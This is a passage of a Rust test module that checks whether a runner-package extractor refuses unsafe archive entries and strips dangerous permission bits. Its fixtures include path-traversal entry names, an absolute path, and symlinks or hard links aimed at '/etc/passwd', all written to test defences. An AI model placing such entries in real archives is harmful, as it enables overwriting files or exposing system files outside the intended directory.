4616                bytes,
4617            );
4618
4619            let installed = harness
4620                .cache()
4621                .ensure_installed()
4622                .await
4623                .unwrap_or_else(|error| panic!("{extension} should extract: {error}"));
4624
4625            assert_eq!(
4626                fs::read_to_string(installed.root().join("run.sh")).unwrap(),
4627                "#!/bin/sh\necho runner\n"
4628            );
4629            assert_eq!(
4630                fs::read_to_string(installed.root().join("bin/Runner.Listener")).unwrap(),
4631                "listener\n"
4632            );
4633        }
4634    }
4635
4636    #[test]
4637    fn an_archive_entry_that_escapes_is_refused_and_writes_nothing_outside_the_target() {
4638        // This asserts a *property* — nothing lands outside the extraction
4639        // directory — and that property is held up by two independent layers:
4640        // this module's `resolve_inside`, and the archive crates' own guards
4641        // (`ZipFile::enclosed_name` answering `None`, `Entry::unpack_in`
4642        // answering `false`). Gutting either layer alone leaves the property
4643        // standing; removing both turns this red.
4644        //
4645        // # What that means for the call sites, stated rather than glossed
4646        //
4647        // `resolve_inside` itself is pinned by
4648        // `an_archive_entry_may_not_resolve_outside_the_directory_it_is_
4649        // extracted_into`, which reds when the function is gutted.
4650        //
4651        // # The tar call site is pinned by behaviour, and the input is below
4652        //
4653        // An earlier version of this comment claimed no input distinguishes
4654        // this module's layer from the archive crates' layers. That is false,
4655        // and the distinguishing input is the `"tar.gz absolute"` case in this
4656        // very table. Measured against tar 0.4.46:
4657        //
4658        // ```text
4659        // entry  /tmp/escaped.txt   resolve_inside refuses   unpack_in -> Ok(true)
4660        // entry    ../escaped.txt   resolve_inside refuses   unpack_in -> Ok(false)
4661        // ```
4662        //
4663        // `tar` documents it — "Leading `/`s are trimmed" — so for an absolute
4664        // entry it strips the root and unpacks happily into `into/tmp/...`.
4665        // `unpack_in` alone therefore *admits* that entry; `resolve_inside` is
4666        // the only thing that refuses it. Replacing the call with a plain
4667        // `into.join(...)` reds this test.
4668        //
4669        // The **zip** call site is the one that really is compile-pinned only:
4670        // `enclosed_name` already answers `None` for absolute paths, drive
4671        // prefixes and `..`, so no input separates the two layers there. Its
4672        // value is insurance against a dependency relaxing its own sanitising,
4673        // not coverage of a reachable hole.
4674        let dir = tempfile::tempdir().expect("a temporary root");
4675        let target = dir.path().join("target");
4676        let outside = dir.path().join("escaped.txt");
4677
4678        // Negative control: a legitimate archive really does extract here, so a
4679        // refusal below is a refusal of the escape rather than of everything.
4680        let good = dir.path().join("good.archive");
4681        fs::write(&good, tar_gz_bytes(&package_entries())).unwrap();
4682        extract(&good, ArchiveKind::TarGz, &target).expect("a legitimate archive extracts");
4683        assert!(target.join("run.sh").is_file());
4684        fs::remove_dir_all(&target).unwrap();
4685
4686        for (label, bytes, kind) in [
4687            (
4688                "tar.gz",
4689                tar_gz_with_raw_name("../escaped.txt", "owned"),
4690                ArchiveKind::TarGz,
4691            ),
4692            (
4693                "tar.gz absolute",
4694                tar_gz_with_raw_name("/tmp/escaped.txt", "owned"),
4695                ArchiveKind::TarGz,
4696            ),
4697            (
4698                "zip",
4699                zip_bytes(&[("../escaped.txt", "owned")]),
4700                ArchiveKind::Zip,
4701            ),
4702        ] {
4703            let archive = dir.path().join(format!("{label}.archive"));
4704            fs::write(&archive, &bytes).unwrap();
4705            let _ = fs::remove_dir_all(&target);
4706
4707            let result = extract(&archive, kind, &target);
4708
4709            assert!(
4710                !outside.exists(),
4711                "{label}: an entry escaped the extraction directory"
4712            );
4713            let error = result.expect_err(&format!("{label}: the escape must be refused"));
4714            assert!(
4715                matches!(error, PackageError::UnsafeArchiveEntry { .. }),
4716                "{label}: expected an unsafe-entry refusal, got {error:?}"
4717            );
4718            assert!(error.is_terminal());
4719            assert_eq!(
4720                error.failure_reason(),
4721                Some(FailureReason::RunnerPackageUnverified)
4722            );
4723        }
4724    }
4725
4726    #[test]
4727    fn the_mode_policy_drops_every_bit_that_is_not_an_executable_bit() {
4728        // The policy itself, asserted on every CI leg including the one whose
4729        // filesystem has no mode bits — the `#[cfg(unix)]` tests below prove
4730        // the extraction paths reach this function, and this proves what the
4731        // function decides.
4732        for (published, expected, what) in [
4733            (0o4755, 0o700, "setuid is dropped"),
4734            (0o2755, 0o700, "setgid is dropped"),
4735            (0o1777, 0o700, "the sticky bit is dropped"),
4736            (
4737                0o7777,
4738                0o700,
4739                "all three, plus group and other, are dropped",
4740            ),
4741            (0o777, 0o700, "group and other lose everything"),
4742            (0o666, 0o600, "a non-executable file stays non-executable"),
4743            (0o644, 0o600, "the ordinary case"),
4744            (0o755, 0o700, "an executable stays executable"),
4745            (0o000, 0o600, "the owner can always read it back"),
4746        ] {
4747            assert_eq!(
4748                policy_mode(published),
4749                expected,
4750                "{what}: policy_mode({published:o}) should be {expected:o}"
4751            );
4752        }
4753        // Stated as properties too, so a policy change has to be deliberate.
4754        for published in 0..=0o7777_u32 {
4755            let applied = policy_mode(published);
4756            assert_eq!(applied & 0o7000, 0, "no setuid, setgid or sticky ever");
4757            assert_eq!(applied & 0o077, 0, "nothing for group or other ever");
4758            assert_eq!(
4759                applied & 0o100 != 0,
4760                published & 0o111 != 0,
4761                "executability is the only thing carried through, and only for \
4762                 the owner (published {published:o} -> {applied:o})"
4763            );
4764        }
4765    }
4766
4767    /// `.tar.gz` is the format for Linux and macOS, so this is where modes and
4768    /// links actually reach a filesystem that has them.
4769    #[cfg(unix)]
4770    #[test]
4771    fn a_published_archives_setuid_and_group_bits_are_never_applied_to_an_extracted_file() {
4772        use std::os::unix::fs::PermissionsExt as _;
4773
4774        let dir = tempfile::tempdir().expect("a temporary root");
4775        // setuid + setgid + sticky, world-writable, and executable: everything
4776        // a hostile or merely careless publisher could put in a header.
4777        let bytes = tar_gz_special(
4778            "run.sh",
4779            "#!/bin/sh\n",
4780            0o7777,
4781            tar::EntryType::Regular,
4782            None,
4783        );
4784        // The fixture really carries them. Without this the assertions below
4785        // would hold over an archive that never had a setuid bit to drop.
4786        let (mode, kind, _) = first_entry_header(&bytes);
4787        assert_eq!(mode, 0o7777, "the fixture must carry the full mode");
4788        assert_eq!(kind, tar::EntryType::Regular);
4789
4790        let archive = dir.path().join("p.archive");
4791        fs::write(&archive, &bytes).unwrap();
4792        let target = dir.path().join("target");
4793        extract(&archive, ArchiveKind::TarGz, &target).expect("extraction");
4794
4795        let applied = fs::metadata(target.join("run.sh"))
4796            .unwrap()
4797            .permissions()
4798            .mode()
4799            & 0o7777;
4800        assert_eq!(
4801            applied & 0o4000,
4802            0,
4803            "setuid must never survive extraction (mode {applied:o})"
4804        );
4805        assert_eq!(
4806            applied & 0o2000,
4807            0,
4808            "setgid must never survive extraction (mode {applied:o})"
4809        );
4810        assert_eq!(
4811            applied & 0o022,
4812            0,
4813            "group and world write must never survive (mode {applied:o})"
4814        );
4815        // The policy `extract_zip` documents, applied identically here:
4816        // executable bits kept, owner read/write, nothing else.
4817        assert_eq!(
4818            applied, 0o700,
4819            "the tar path must apply the same mode policy as the zip path"
4820        );
4821    }
4822
4823    #[cfg(unix)]
4824    #[test]
4825    fn an_extracted_directorys_mode_is_owner_only_and_still_usable() {
4826        use std::os::unix::fs::PermissionsExt as _;
4827
4828        let dir = tempfile::tempdir().expect("a temporary root");
4829        let bytes = tar_gz_special("bin/", "", 0o2777, tar::EntryType::Directory, None);
4830        let archive = dir.path().join("p.archive");
4831        fs::write(&archive, &bytes).unwrap();
4832        let target = dir.path().join("target");
4833
4834        extract(&archive, ArchiveKind::TarGz, &target).expect("extraction");
4835
4836        let applied = fs::metadata(target.join("bin"))
4837            .unwrap()
4838            .permissions()
4839            .mode()
4840            & 0o7777;
4841        assert_eq!(
4842            applied & 0o2000,
4843            0,
4844            "setgid must not survive on a directory"
4845        );
4846        assert_eq!(applied & 0o077, 0, "group and other get nothing");
4847        assert!(
4848            applied & 0o300 == 0o300,
4849            "the owner must still be able to write and traverse it (mode {applied:o})"
4850        );
4851    }
4852
4853    #[test]
4854    fn a_link_whose_target_escapes_the_package_is_refused() {
4855        // Refused before any filesystem link call, so this runs on every CI
4856        // leg — creating a symlink on Windows needs a privilege the agent
4857        // should not want, and this test never needs one.
4858        let dir = tempfile::tempdir().expect("a temporary root");
4859        for (label, bytes) in [
4860            (
4861                "symlink to an absolute path",
4862                tar_gz_special(
4863                    "link",
4864                    "",
4865                    0o777,
4866                    tar::EntryType::Symlink,
4867                    Some("/etc/passwd"),
4868                ),
4869            ),
4870            (
4871                "symlink climbing out",
4872                tar_gz_special(
4873                    "link",
4874                    "",
4875                    0o777,
4876                    tar::EntryType::Symlink,
4877                    Some("../../escape"),
4878                ),
4879            ),
4880            (
4881                "symlink climbing out from a subdirectory",
4882                tar_gz_special(
4883                    "bin/link",
4884                    "",
4885                    0o777,
4886                    tar::EntryType::Symlink,
4887                    Some("../../escape"),
4888                ),
4889            ),
4890            (
4891                "hard link",
4892                tar_gz_special("link", "", 0o644, tar::EntryType::Link, Some("/etc/passwd")),
4893            ),
4894        ] {
4895            // The fixture really is a link with that target.
4896            let (_, kind, link) = first_entry_header(&bytes);
4897            assert!(
4898                matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link),
4899                "{label}: the fixture must be a link entry"
4900            );
4901            assert!(link.is_some(), "{label}: the fixture must carry a target");
4902
4903            let archive = dir.path().join(format!("{label}.archive"));
4904            fs::write(&archive, &bytes).unwrap();
4905            let target = dir.path().join(label);
4906
4907            let error = extract(&archive, ArchiveKind::TarGz, &target)
4908                .expect_err(&format!("{label} must be refused"));
4909
4910            assert!(
4911                matches!(error, PackageError::UnsafeArchiveEntry { .. }),
4912                "{label}: expected an unsafe-entry refusal, got {error:?}"
4913            );
4914            assert!(error.is_terminal());
4915            assert_eq!(
4916                error.failure_reason(),
4917                Some(FailureReason::RunnerPackageUnverified)
4918            );
4919            assert!(
4920                !target.join("link").exists(),
4921                "{label}: nothing may have been created"
4922            );
4923        }
4924    }
4925
4926    /// The negative control for the refusal above: a link that stays inside the
4927    /// package is legitimate and must still extract.
4928    ///
4929    /// Unix-only because creating the symlink is the point, and Windows needs a
4930    /// privilege for that. The *refusal* path above is cross-platform.
4931    #[cfg(unix)]
4932    #[test]
4933    fn a_link_that_stays_inside_the_package_is_extracted() {
4934        let dir = tempfile::tempdir().expect("a temporary root");
4935        let bytes = tar_gz_special(
4936            "bin/current",
4937            "",
4938            0o777,
4939            tar::EntryType::Symlink,
4940            Some("../run.sh"),
4941        );
4942        let archive = dir.path().join("p.archive");
4943        fs::write(&archive, &bytes).unwrap();
4944        let target = dir.path().join("target");
4945
4946        extract(&archive, ArchiveKind::TarGz, &target)
4947            .expect("a link inside the package is legitimate");
4948
4949        assert!(
4950            fs::symlink_metadata(target.join("bin/current"))
4951                .unwrap()
4952                .is_symlink(),
4953            "the link should have been created"
4954        );
4955    }
4956
4957    #[test]
4958    fn an_entry_that_names_the_extraction_root_resolves_to_nothing() {
4959        // The cross-platform half of the root-entry fix. The end-to-end test
4960        // below can only see the consequence on a filesystem with mode bits,
4961        // so the decision itself is asserted here, where every CI leg runs it.
4962        let root = Path::new("/cache/staging/root");
4963        for names_the_root in [".", "./", "./."] {
4964            assert_eq!(
4965                entry_destination(root, Path::new(names_the_root), names_the_root).unwrap(),
4966                None,
4967                "`{names_the_root}` names the extraction root and must not resolve to it"
4968            );
4969        }
4970        // And an ordinary entry still resolves normally, so the check above is
4971        // not simply swallowing everything.
4972        assert_eq!(
4973            entry_destination(root, Path::new("bin/run.sh"), "bin/run.sh").unwrap(),
4974            Some(root.join("bin").join("run.sh"))
4975        );
4976        assert_eq!(
4977            entry_destination(root, Path::new("./bin/run.sh"), "./bin/run.sh").unwrap(),
4978            Some(root.join("bin").join("run.sh"))
4979        );
4980        // An escape is still an escape rather than a skipped root entry.
4981        assert!(entry_destination(root, Path::new("../x"), "../x").is_err());
4982    }
4983
4984    #[test]
4985    fn a_directory_always_gets_a_traversable_owner_only_mode() {
4986        // The directory rule, asserted where every CI leg runs it. The zip path
4987        // used to skip the policy for directories entirely, and `policy_mode`
4988        // alone would have made a `0o644` directory undescendable.
4989        for published in [Some(0o2777), Some(0o755), Some(0o644), Some(0o000), None] {
4990            assert_eq!(
4991                intended_mode(true, published),
4992                Some(0o700),
4993                "a directory published as {published:?} must end up traversable and owner-only"
4994            );
4995        }
4996        // Files keep the file rule, including "no published mode, leave it".
4997        assert_eq!(intended_mode(false, Some(0o4755)), Some(0o700));
4998        assert_eq!(intended_mode(false, Some(0o644)), Some(0o600));
4999        assert_eq!(
5000            intended_mode(false, None),
5001            None,
5002            "a zip written on Windows publishes no mode, and there is nothing to apply"
5003        );
5004    }
5005
5006    #[cfg(unix)]
5007    #[test]
5008    fn a_zip_directory_entry_gets_the_same_mode_policy_as_a_tar_one() {
5009        use std::os::unix::fs::PermissionsExt as _;
5010
5011        // The zip path returned early for directories and never reached the
5012        // policy, so a `.zip` published with a world-writable or setgid
5013        // directory got it applied verbatim by `create_dir_all` + the archive.
5014        // Both formats extract on every platform, so this is not hypothetical
5015        // just because Windows packages are the zips.
5016        let dir = tempfile::tempdir().expect("a temporary root");
5017        let bytes = zip_bytes_with_modes(&[
5018            ("bin/", "", Some(0o2777)),
5019            ("bin/run.sh", "#!/bin/sh\n", Some(0o4755)),
5020        ]);
5021        let archive = dir.path().join("p.archive");
5022        fs::write(&archive, &bytes).unwrap();
5023        let target = dir.path().join("target");
5024
5025        extract(&archive, ArchiveKind::Zip, &target).expect("extraction");
5026
5027        let dir_mode = fs::metadata(target.join("bin"))
5028            .unwrap()
5029            .permissions()
5030            .mode()
5031            & 0o7777;
5032        assert_eq!(
5033            dir_mode, 0o700,
5034            "a zip directory must get the owner-only policy (mode {dir_mode:o})"
5035        );
5036        let file_mode = fs::metadata(target.join("bin/run.sh"))
5037            .unwrap()
5038            .permissions()
5039            .mode()
5040            & 0o7777;
5041        assert_eq!(
5042            file_mode, 0o700,
5043            "a zip file must get the owner-only policy (mode {file_mode:o})"
5044        );
5045    }
5046
5047    #[cfg(unix)]
5048    #[test]
5049    fn a_directory_entry_with_no_executable_bit_is_still_traversable() {
5050        use std::os::unix::fs::PermissionsExt as _;
5051
5052        // `policy_mode` alone would turn a `0o644` directory into `0o600`,
5053        // which the agent could not then descend into. A directory's
5054        // traversability is not the archive's to withhold.
5055        let dir = tempfile::tempdir().expect("a temporary root");
5056        for (label, bytes, kind) in [
5057            (
5058                "tar.gz",
5059                tar_gz_special("bin/", "", 0o644, tar::EntryType::Directory, None),
5060                ArchiveKind::TarGz,
5061            ),
5062            (
5063                "zip",
5064                zip_bytes_with_modes(&[("bin/", "", Some(0o644))]),
5065                ArchiveKind::Zip,
5066            ),
5067        ] {
5068            let archive = dir.path().join(format!("{label}.archive"));
5069            fs::write(&archive, &bytes).unwrap();
5070            let target = dir.path().join(label);
5071
5072            extract(&archive, kind, &target).expect("extraction");
5073
5074            let mode = fs::metadata(target.join("bin"))
5075                .unwrap()
5076                .permissions()
5077                .mode()
5078                & 0o7777;
5079            assert_eq!(
5080                mode, 0o700,
5081                "{label}: a directory must stay traversable (mode {mode:o})"
5082            );
5083        }
5084    }
5085
5086    #[test]
5087    fn an_entry_naming_the_extraction_root_cannot_touch_it() {
5088        // An entry called `.` or `./` resolves to the extraction directory
5089        // itself, which would hand the archive control of the mode of a
5090        // directory this module owns and created. It is not an escape — the
5091        // policy fails closed — but the archive does not get a say here.
5092        //
5093        // **Which half of this proves what.** The mode assertion below is the
5094        // one that detects the defect, and it is `#[cfg(unix)]`, so on Windows
5095        // this test only shows that a root entry is tolerated rather than
5096        // fatal. The decision itself is asserted on every leg by
5097        // `an_entry_that_names_the_extraction_root_resolves_to_nothing`, which
5098        // reds when the skip is removed. Said here so nobody reads a green
5099        // Windows run as proof of the mode property.
5100        let dir = tempfile::tempdir().expect("a temporary root");
5101        for (label, bytes, kind) in [
5102            (
5103                "tar.gz dot",
5104                tar_gz_special(".", "", 0o777, tar::EntryType::Directory, None),
5105                ArchiveKind::TarGz,
5106            ),
5107            (
5108                "tar.gz dot slash",
5109                tar_gz_special("./", "", 0o777, tar::EntryType::Directory, None),
5110                ArchiveKind::TarGz,
5111            ),
5112            (
5113                "zip dot",
5114                zip_bytes_with_modes(&[("./", "", Some(0o777))]),
5115                ArchiveKind::Zip,
5116            ),
5117        ] {
5118            let archive = dir.path().join(format!("{label}.archive"));
5119            fs::write(&archive, &bytes).unwrap();
5120            let target = dir.path().join(label);
5121            fs::create_dir_all(&target).unwrap();
5122            let marker = target.join("owned-by-this-module");
5123            fs::write(&marker, b"x").unwrap();
5124
5125            // Skipped, not refused: `tar -C dir -czf out.tgz .` emits exactly
5126            // this entry for the archive's own root, so refusing it would fail
5127            // a legitimate package. See `resolve_inside` for the reasoning.
5128            extract(&archive, kind, &target).unwrap_or_else(|error| {
5129                panic!("{label}: a root entry is skipped, not fatal: {error}")
5130            });
5131
5132            assert!(
5133                marker.is_file(),
5134                "{label}: the extraction root must be untouched"
5135            );
5136            #[cfg(unix)]
5137            {
5138                use std::os::unix::fs::PermissionsExt as _;
5139                let mode = fs::metadata(&target).unwrap().permissions().mode() & 0o7777;
5140                assert_ne!(
5141                    mode, 0o777,
5142                    "{label}: the archive must not have set the root's mode"
5143                );
5144            }
5145        }
5146    }
5147
5148    #[test]
5149    fn the_archive_format_comes_from_the_filename_not_from_the_host() {
5150        assert_eq!(
5151            ArchiveKind::split("actions-runner-win-x64-2.330.0.zip")
5152                .unwrap()
5153                .1,
5154            ArchiveKind::Zip
5155        );
5156        assert_eq!(
5157            ArchiveKind::split("actions-runner-linux-x64-2.330.0.tar.gz")
5158                .unwrap()
5159                .1,
5160            ArchiveKind::TarGz
5161        );
5162        assert_eq!(
5163            ArchiveKind::split("actions-runner-linux-x64-2.330.0.TAR.GZ")
5164                .unwrap()
5165                .1,
5166            ArchiveKind::TarGz
5167        );
5168        assert!(ArchiveKind::split("actions-runner-linux-x64-2.330.0.7z").is_err());
5169    }
5170
5171    #[tokio::test]
5172    async fn a_zip_is_extracted_on_a_host_whose_own_packages_are_tarballs() {
5173        // The format follows the filename, so this exercises the Windows
5174        // extraction path on the Linux and macOS CI legs too.
5175        let bytes = zip_bytes(&package_entries());
5176        let harness = Harness::new(
5177            vec![published(
5178                "linux",
5179                "x64",
5180                "2.330.0",
5181                ".zip",
5182                Some(&hex_digest(&bytes)),
5183            )],
5184            bytes,
5185        );
5186
5187        let installed = harness.cache().ensure_installed().await.expect("a zip");
5188
5189        assert!(installed.root().join("bin/Runner.Listener").is_file());
5190    }
5191}